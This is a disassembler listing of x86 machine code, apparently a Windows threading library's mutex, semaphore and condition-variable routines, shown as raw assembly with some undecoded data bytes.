pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431C53: ; CODE XREF: sub_431C30+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_431C30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C80 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_431CA1 mov eax, [ecx] test eax, eax jz short loc_431CA1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431CA1: ; CODE XREF: sub_431C80+9j ; sub_431C80+Fj mov eax, 16h pop esi retn sub_431C80 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431CC0: ; CODE XREF: ___:00401BBDj mov eax, [esp+4] test eax, eax jz short loc_431CDD mov eax, [eax] test eax, eax jz short loc_431CDD mov ecx, [esp+8] test ecx, ecx jz short loc_431CDD mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431CDD: ; CODE XREF: ___:00431CC6j ; ___:00431CCCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D00: ; CODE XREF: ___:00401906j mov eax, [esp+4] test eax, eax jz short loc_431D2A mov ecx, [eax] test ecx, ecx jz short loc_431D2A mov eax, [esp+8] cmp eax, 1 jz short loc_431D1E test eax, eax jnz short loc_431D2A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431D1E: ; CODE XREF: ___:00431D15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431D2A: ; CODE XREF: ___:00431D06j ; ___:00431D0Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D40 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D61 mov ecx, [ecx] test ecx, ecx jz short loc_431D61 mov edx, [esp+arg_4] test edx, edx jl short loc_431D61 cmp edx, 2 jg short loc_431D61 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_431D61: ; CODE XREF: sub_431D40+8j ; sub_431D40+Ej ... mov eax, 16h retn sub_431D40 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D80 proc near ; CODE XREF: sub_4018CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D9E mov ecx, [ecx] test ecx, ecx jz short loc_431D9E mov edx, [esp+arg_4] test edx, edx jz short loc_431D9E mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_431D9E: ; CODE XREF: sub_431D80+8j ; sub_431D80+Ej ... mov eax, 16h retn sub_431D80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431DC0 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_431E77 mov eax, [esi] test eax, eax jz loc_431E77 cmp eax, 0FFFFFFFFh jnz short loc_431DF1 push esi call sub_401C17 mov edi, eax add esp, 4 test edi, edi jz short loc_431DF1 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431DF1: ; CODE XREF: sub_431DC0+1Dj ; sub_431DC0+2Cj mov esi, [esi] push esi nop call near ptr 276089Dh test eax, eax jnz short loc_431E1A loc_431DFE: ; CODE XREF: sub_431DC0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_431E12 call sub_4012E4 ; --------------------------------------------------------------------------- loc_431E12: ; CODE XREF: sub_431DC0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E1A: ; CODE XREF: sub_431DC0+3Cj mov eax, [esi+8] test eax, eax jz short loc_431E5A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0EDA5E890h dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_431E5A: ; CODE XREF: sub_431DC0+5Fj lea ecx, [esi+10h] push ecx call sub_431EB0 add esp, 4 test eax, eax jz short loc_431DFE nop call near ptr 77C1F2BCh mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E77: ; CODE XREF: sub_431DC0+Aj ; sub_431DC0+14j pop edi mov eax, 16h pop esi retn sub_431DC0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_431ECA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx call near ptr 2770836h nop test eax, eax jnz short loc_431ECA retn ; --------------------------------------------------------------------------- loc_431ECA: ; CODE XREF: sub_431EB0+6j ; sub_431EB0+17j call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_431EB0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EF0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_432088 mov eax, [esi] test eax, eax jz loc_432088 cmp eax, 0FFFFFFFFh jnz short loc_431F21 push esi call sub_401C17 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_431F21 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F21: ; CODE XREF: sub_431EF0+1Dj ; sub_431EF0+2Cj mov esi, [esi] push ebx push edi push esi call near ptr 276089Dh nop test eax, eax jnz short loc_431F52 loc_431F30: ; CODE XREF: sub_431EF0+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F52: ; CODE XREF: sub_431EF0+3Ej mov eax, [esi+8] test eax, eax jz short loc_431F96 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0EC6DE890h dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_431F96: ; CODE XREF: sub_431EF0+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_431FAA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FAA: ; CODE XREF: sub_431EF0+ACj lea edi, [esi+10h] push eax push edi call sub_432100 add esp, 8 sub eax, 0 jz loc_43206A dec eax jz short loc_432034 dec eax jz short loc_431FD5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FD5: ; CODE XREF: sub_431EF0+D4j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_432007 call near ptr 2770BE3h nop push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432007: ; CODE XREF: sub_431EF0+101j call near ptr 2770BE3h nop test eax, eax jl short loc_432026 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_432026 nop call near ptr 77C1F2BCh mov ebp, [eax] loc_432026: ; CODE XREF: sub_431EF0+11Fj ; sub_431EF0+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432034: ; CODE XREF: sub_431EF0+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_43205A push esi nop call near ptr 2770BE3h mov ebp, 274Ch loc_43205A: ; CODE XREF: sub_431EF0+15Cj push ebx nop call near ptr 7C9010EDh test edi, edi jnz short loc_432081 jmp loc_431F30 ; --------------------------------------------------------------------------- loc_43206A: ; CODE XREF: sub_431EF0+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- loc_43207E: ; CODE XREF: sub_431EF0+4Dj ; sub_431EF0+187j mov [esi+0Ch], eax loc_432081: ; CODE XREF: sub_431EF0+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432088: ; CODE XREF: sub_431EF0+Aj ; sub_431EF0+14j pop esi mov eax, 16h pop ebp retn sub_431EF0 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432100 proc near ; CODE XREF: sub_431EF0+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_43219E mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_432132 or eax, 0FFFFFFFFh loc_43211C: ; CODE XREF: sub_432100+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 2770836h test eax, eax jnz short loc_43218C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432132: ; CODE XREF: sub_432100+17j lea eax, [esp+14h+var_C] push eax call near ptr 77C49113h nop mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_43211C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43218C: ; CODE XREF: sub_432100+2Aj cmp eax, 102h jnz short loc_43219E pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43219E: ; CODE XREF: sub_432100+Bj ; sub_432100+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_432100 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_432290 mov esi, [eax] cmp esi, ebx jz loc_432290 cmp esi, 0FFFFFFFFh push edi jz short loc_432285 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_43223A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jnz short loc_43223A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43223A: ; CODE XREF: sub_4321F0+2Aj ; sub_4321F0+40j cmp [esi+8], edi jnz short loc_432248 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_43228A loc_432248: ; CODE XREF: sub_4321F0+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi nop call near ptr 2770BE3h test eax, eax jl short loc_432278 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_432278 call near ptr 77C1F2BCh nop mov ebx, [eax] loc_432278: ; CODE XREF: sub_4321F0+6Ej ; sub_4321F0+7Ej push edi nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432285: ; CODE XREF: sub_4321F0+1Ej mov ebx, 16h loc_43228A: ; CODE XREF: sub_4321F0+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432290: ; CODE XREF: sub_4321F0+Aj ; sub_4321F0+14j pop esi mov eax, 16h pop ebx retn sub_4321F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4322D0 proc near ; CODE XREF: sub_401785j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_432355 mov eax, [esi] test eax, eax jz short loc_432355 cmp eax, 0FFFFFFFFh jnz short loc_4322F2 push esi call sub_401C17 add esp, 4 mov edi, eax loc_4322F2: ; CODE XREF: sub_4322D0+15j mov esi, [esi] test edi, edi jnz short loc_432350 push 0FFFFFFFFh push edi push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_432323 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43231B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43231B: ; CODE XREF: sub_4322D0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432323: ; CODE XREF: sub_4322D0+35j cmp dword ptr [esi+8], 1 jnz short loc_43234B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_43234B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43234B: ; CODE XREF: sub_4322D0+57j ; sub_4322D0+6Dj mov edi, 10h loc_432350: ; CODE XREF: sub_4322D0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432355: ; CODE XREF: sub_4322D0+Aj ; sub_4322D0+10j pop edi mov eax, 16h pop esi retn sub_4322D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432390: ; CODE XREF: ___:0040193Dj mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323C0: ; CODE XREF: ___:00401591j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018CF add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323F0: ; CODE XREF: ___:00401497j mov eax, [esp+4] test eax, eax jz short loc_4323FC mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_4323FC: ; CODE XREF: ___:004323F6j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432410: ; CODE XREF: ___:00401C12j mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_432422 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432422: ; CODE XREF: ___:00432418j mov esi, [eax] test esi, esi jnz short loc_432445 mov ecx, [eax+4] test ecx, ecx jnz short loc_432445 call sub_401D02 ; --------------------------------------------------------------------------- dd 0ADE89056h, 0E8023FF8h, 0FFFCF8C2h, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432445: ; CODE XREF: ___:00432426j ; ___:0043242Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43247E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43247E: ; CODE XREF: ___:00432474j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4324E6 mov edx, [esi+38h] push edx nop call near ptr 2770836h test eax, eax jnz short loc_4324D7 lea edi, [esi+2Ch] push edi call sub_402248 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4324C6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4324C6: ; CODE XREF: ___:004324A6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4324D7: ; CODE XREF: ___:00432492j cmp eax, 102h jz short loc_4324EC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4324E6: ; CODE XREF: ___:00432484j nop call near ptr 2831CE8h loc_4324EC: ; CODE XREF: ___:004324DCj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432540: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C3A add esp, 4 test eax, eax mov eax, 1 jnz short loc_43255B mov eax, [esp+0] loc_43255B: ; CODE XREF: ___:00432555j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432570 proc near ; CODE XREF: sub_401712j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax call near ptr 27E09C7h nop push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_5103BC, eax nop call near ptr 28A0365h test eax, eax mov dword_5103D8, eax jnz short loc_4325BD mov eax, dword_5103BC mov dword_5103D8, offset sub_4012D0 push eax call near ptr 2750785h nop mov dword_5103BC, 0 loc_4325BD: ; CODE XREF: sub_432570+2Bj mov eax, esi pop esi retn sub_432570 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4325F0 proc near ; CODE XREF: sub_401627j mov eax, dword_5103C0 test eax, eax jz short loc_432640 mov eax, dword_5103C4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h dd 5103C40Dh, 4C48300h, 6A118Bh, 5DE89052h, 0E80231DEh dd 0FFFCF015h, 5103BCA1h, 74C08500h, 46E85007h, 900231E1h ; --------------------------------------------------------------------------- loc_432640: ; CODE XREF: sub_4325F0+7j mov eax, 1 retn sub_4325F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432670 proc near ; CODE XREF: sub_4017BCj mov eax, 1 retn sub_432670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432690 proc near ; CODE XREF: sub_4017CBj mov eax, dword_5103C0 test eax, eax jz short loc_4326CB mov eax, dword_5103C4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h dd 5103C40Dh, 4C48300h, 6A118Bh, 0BDE89052h db 0DDh, 31h, 2 ; --------------------------------------------------------------------------- loc_4326CB: ; CODE XREF: sub_432690+7j mov eax, 1 retn sub_432690 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432700: ; CODE XREF: ___:0040225Cj push ecx push esi push offset dword_5109A0 xor esi, esi call near ptr 7C901005h nop mov eax, dword_5103CC test eax, eax mov [esp+4], eax jz short loc_43273E loc_43271C: ; CODE XREF: ___:0043273Cj test esi, esi jnz short loc_43273E lea eax, [esp+4] push eax call sub_40160E mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43271C loc_43273E: ; CODE XREF: ___:0043271Aj ; ___:0043271Ej push offset dword_5109A0 nop call near ptr 7C9010EDh mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432780 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432799 mov eax, [eax] test eax, eax jz short loc_432799 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_432799 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432799: ; CODE XREF: sub_432780+6j ; sub_432780+Cj ... mov eax, 1 retn sub_432780 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4327B0 proc near ; CODE XREF: sub_401320j mov eax, dword_5103C0 test eax, eax jz short loc_4327BF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4327BF: ; CODE XREF: sub_4327B0+7j push 0 push offset dword_5103C4 mov dword_5103C0, 1 call sub_401609 add esp, 8 test eax, eax jnz short loc_4327EE push eax push offset dword_5103C8 call sub_401609 add esp, 8 test eax, eax jz short loc_4327F3 loc_4327EE: ; CODE XREF: sub_4327B0+2Aj call sub_401645 loc_4327F3: ; CODE XREF: sub_4327B0+3Cj push esi mov esi, dword_511868 push offset dword_5108E0 call esi push offset dword_510940 call esi push offset dword_5109A0 call esi push offset dword_510920 call esi push offset dword_510980 call esi push offset dword_510960 call esi mov eax, dword_5103C0 pop esi retn sub_4327B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432850 proc near ; CODE XREF: sub_401645j mov eax, dword_5103C0 test eax, eax jz locret_432909 mov eax, dword_5103C4 test eax, eax jz short loc_432879 push eax call sub_401AB4 add esp, 4 mov dword_5103C4, 0 loc_432879: ; CODE XREF: sub_432850+14j mov eax, dword_5103C8 test eax, eax jz short loc_432895 push eax call sub_401AB4 add esp, 4 mov dword_5103C8, 0 loc_432895: ; CODE XREF: sub_432850+30j push esi push offset dword_5108E0 nop call near ptr 7C901005h mov eax, dword_447718 cmp eax, 1 jz short loc_4328C3 push edi mov edi, dword_511AD0 loc_4328B2: ; CODE XREF: sub_432850+70j mov esi, [eax+8] push eax call edi add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4328B2 pop edi loc_4328C3: ; CODE XREF: sub_432850+59j push offset dword_5108E0 call near ptr 7C9010EDh nop mov esi, dword_511864 push offset dword_510960 call esi push offset dword_510980 call esi push offset dword_510920 call esi push offset dword_5109A0 call esi push offset dword_510940 call esi push offset dword_5108E0 call esi mov dword_5103C0, 0 pop esi locret_432909: ; CODE XREF: sub_432850+7j retn sub_432850 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:loc_401BA9j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx call near ptr 77C2C21Bh nop mov eax, dword_5103C4 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_437D4C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_43299C mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_43299C: ; CODE XREF: ___:00432989j dec eax jz short loc_4329A5 dec eax or esi, 0FFFFFFFFh jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_4329A5: ; CODE XREF: ___:0043299Dj mov esi, [edi+14h] loc_4329A8: ; CODE XREF: ___:0043299Aj ; ___:004329A3j cmp dword ptr [edi+20h], 1 jnz short loc_4329C7 call sub_4017CB push esi call near ptr 77C3A307h nop add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4329C7: ; CODE XREF: ___:004329ACj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432A20 proc near ; CODE XREF: sub_4017B7j var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_432A9A lea esi, [ebx+2Ch] push edi push esi call sub_402248 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BD1 mov eax, [esp+0A0h+var_4C] mov esi, dword_5118E0 add esp, 10h test eax, eax pop edi jz short loc_432A78 push eax call esi loc_432A78: ; CODE XREF: sub_432A20+53j lea eax, [esp+8Ch+var_58] push eax call sub_402252 mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_432A9A test [esp+8Ch+var_8], 1 jnz short loc_432A9A push eax call esi loc_432A9A: ; CODE XREF: sub_432A20+11j ; sub_432A20+6Bj ... pop esi pop ebx add esp, 84h retn sub_432A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AE0 proc near ; CODE XREF: sub_401DDEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432B01 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_432B01: ; CODE XREF: sub_432AE0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402248 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_432B42 push esi call sub_402252 push esi nop call near ptr 77C2C21Bh mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_432B42: ; CODE XREF: sub_432AE0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_432B67 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_432B67: ; CODE XREF: sub_432AE0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_432AE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BB0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_432BD7 mov eax, [esi+8] test eax, eax jnz short loc_432BD7 mov eax, [esi+4] test eax, eax jnz short loc_432BD7 push esi call sub_402252 push esi call near ptr 77C2C21Bh nop add esp, 8 loc_432BD7: ; CODE XREF: sub_432BB0+7j ; sub_432BB0+Ej ... pop esi retn sub_432BB0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432BF0 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_432C5D mov esi, [ebx+80h] test esi, esi jz short loc_432C5D push edi loc_432C05: ; CODE XREF: sub_432BF0+6Aj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_432C58 mov edi, [esi+8] test edi, edi jz short loc_432C33 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_432C33 mov edi, [edi+4] test edi, edi jz short loc_432C33 push eax loc_432C2E: ; CODE XREF: ___:00432CA7j call edi add esp, 4 loc_432C33: ; CODE XREF: sub_432BF0+27j ; sub_432BF0+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_432C58: ; CODE XREF: sub_432BF0+20j test esi, esi jnz short loc_432C05 pop edi loc_432C5D: ; CODE XREF: sub_432BF0+8j ; sub_432BF0+12j pop esi pop ebx retn sub_432BF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; 